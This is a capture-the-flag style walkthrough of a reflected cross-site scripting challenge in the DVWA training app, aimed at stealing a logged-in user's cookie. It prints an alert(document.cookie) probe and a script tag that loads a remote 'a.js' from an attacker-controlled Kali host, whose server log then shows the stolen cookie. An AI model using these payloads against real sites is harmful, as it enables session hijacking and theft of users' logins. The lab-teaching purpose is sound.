Challenge URL: /dvwa/vulnerabilities/xss_r/
Objective: Steal the cookie of a logged-in user.
Tools needed: A temporary web server

Did you remember to read this section's README?

The Guide

Note: This challenge is extremely similar to Challenge 10. We'll be using the same web server, exploit, and payload as before, so make sure those are good to go before proceeding.

We see a basic web form with a field we can fill out.

When we input a name into the field and click the "Submit" button, we see the string "Hello [inputted_name]" returned back to us.

Interesting. Can we cause an `alert` popup to occur using this field?

```
<script>alert(document.cookie)</script>
```

Note that I actually input `document.cookie.split(";")[0]` as my payload, in order to hide my session ID. Just a privacy thing for me. You don't have to do that, and it impacts nothing besides what you see in my screenshots.

Perfect! Instead of using `alert()`, let's use our previous exploit/payload combo from Challenge 10.

```
<script src="http://[your_Kali_IP]:9999/a.js"></script>
```

If we inspect the form's source code after we input the exploit, we see it's been successfully inserted into the page:

And examining the Python web server logs shows the cookie:

Easy enough! Challenge complete.